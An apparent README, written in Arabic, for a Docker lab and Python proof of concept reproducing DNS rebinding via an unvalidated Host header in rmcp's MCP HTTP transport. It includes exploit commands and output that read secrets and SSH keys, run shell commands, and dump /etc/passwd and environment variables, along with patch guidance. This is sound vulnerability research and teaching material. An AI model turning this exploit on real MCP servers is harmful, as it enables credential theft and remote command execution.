
مختبر Docker وإثبات مفهوم بلغة Python يوضحان إعادة ربط DNS عبر رأس Host غير مُتحقق منه في نقل خادم rmcp Streamable HTTP (CVE-2026-42559). يتضمن إصدارات قابلة للاستغلال ومُصححة للاختبار.
| المتأثر | rmcp — SDK الرسمي بلغة Rust لبروتوكول سياق النموذج — < 1.4.0 |
| تم الإصلاح في | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (خطأ التحقق من الأصل)، CWE-350 |
| CVSS 3.1 | 8.8 عالية — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
نقل خادم HTTP القابل للبث في rmcp < 1.4.0 لم يفحص أبداً
ترويسة Host الواردة. عادةً ما تكون خوادم MCP مرتبطة بالحلقة المحلية
ومحمية فقط بسياسة نفس الأصل في المتصفح — والتي يهزمها إعادة ربط DNS:
http://evil.example، ويُقدَّم له سجل DNS بفترة حياة TTL تبلغ ثانية واحدة.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). يصل الطلب
إلى خادم MCP المحلي للضحية، لكن المتصفح لا يزال يعامله كطلب
من نفس الأصل — لا يوجد فحص مسبق CORS، ويمكن لجافاسكريبت قراءة كل استجابة.الشيء الوحيد الذي يفصل ذلك الطلب عن الطلب الشرعي هو ترويسة
Host: evil.example:8000 بدلاً من 127.0.0.1:8000. بدون أي تحقق، تحصل
صفحة المهاجم على جلسة MCP كاملة ويمكنها تعداد واستدعاء كل أداة
يكشفها الخادم — قراءة الملفات، الكتابة، تنفيذ الأوامر، أي شيء كان المساعد
موصولاً للقيام به.
أضاف الإصدار 1.4.0 خيار StreamableHttpServerConfig::allowed_hosts،
بقيمة افتراضية ["localhost", "127.0.0.1", "::1"]، وبوابة
validate_dns_rebinding_headers() في أعلى معالج الطلبات
تجيب بـ 403 Forbidden بخلاف ذلك.
.
├── docker-compose.yml # خدمتان، نفس المصدر، إصدار مختلف من rmcp
├── mcp-server/ # خادم MCP واقعي "مساعد مطور"
│ ├── Cargo.toml
│ ├── Dockerfile # وسيط البناء RMCP_VERSION يثبّت الإصدار
│ └── src/main.rs
└── exploit/
└── exploit.py # إثبات المفهوم، Python 3.9+، بدون تبعيات
تبني الحاويتان نفس src/main.rs بنفس إعدادات الخادم.
الفرق الوحيد هو إصدار الحزمة المثبّت، لذا يأتي تغيير السلوك
بالكامل من المكتبة:
| الخدمة | المنفذ | rmcp | المتوقع |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | قبول Host مزوّر → اختراق كامل |
patched | 127.0.0.1:8001 | 1.4.0 | Host مزوّر → 403 Forbidden |
يكشف الخادم عن whoami وread_file وrun_command، والصورة
مزوّدة ببيانات اعتماد وهمية في /home/dev/project/.env و
/home/dev/.ssh/id_ed25519 حتى يكون للاستغلال ما يسرقه.
docker compose up -d --build
استغلال البنية القابلة للاختراق:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host header is not validated
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.3.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: enumerating the tools now exposed to the attacker's page
- read_file Read a file from the workstation
- run_command Run a shell command on the workstation
- whoami Describe the workstation this assistant runs on
[*] step 3: invoking tools as if the attacker page were a local MCP client
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] arbitrary read and command execution on the victim host, from a web page
ثم البنية المُصلحة، لتأكيد الإصلاح:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.4.0
[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)
رمز الخروج هو 1 عندما يكون الهدف قابلاً للاختراق و0 عندما لا يكون، لذا
يُدمج السكربت مباشرة في CI.
خيارات مفيدة:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
أوقف كل شيء بـ docker compose down.
يفتح الاستغلال اتصال TCP بالهدف ويكتب
ترويسة Host يتحكم بها المهاجم (http.client.putrequest(..., skip_host=True)).
هذا حرفياً هو الطلب الذي يصدره متصفح مُعاد ربطه — إعادة ربط DNS هي
فقط الآلية التي تجعل المتصفح يرسل Host أجنبياً إلى مقبس حلقة محلية.
إعادة إنتاجه بهذه الطريقة تُبقي المختبر على حاويتين وبدون بنية DNS،
بينما تختبر بالضبط مسار الكود الذي يدور حوله CVE.
// 1. قم بالترقية.
// rmcp = "1.4" (أو أحدث)
// 2. الحلقة المحلية فقط هي الافتراضي من 1.4.0 فصاعداً — لا شيء لفعله
// لخادم مرتبط محلياً.
let config = StreamableHttpServerConfig::default();
// 3. لنشر عام حقيقي، قم بتضمين أسماءك الخاصة في القائمة البيضاء.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
إذا لم تستطع الترقية، أنهِ نقطة MCP خلف وكيل عكسي
يرفض قيم Host غير المعروفة، ولا تربط الخادم بـ 0.0.0.0 بدون
واحد. disable_allowed_hosts() موجود لكنه يعيد تقديم هذا الخلل بالضبط.
كل شيء هنا قابل للاختراق عمداً وموجود لأغراض البحث والتعليم. تكشف الحاويات أداة تنفيذ أوامر shell عن قصد — شغّل المختبر فقط على جهاز تملكه، ولا توجه الاستغلال أبداً إلى مضيف غير مصرح لك باختباره.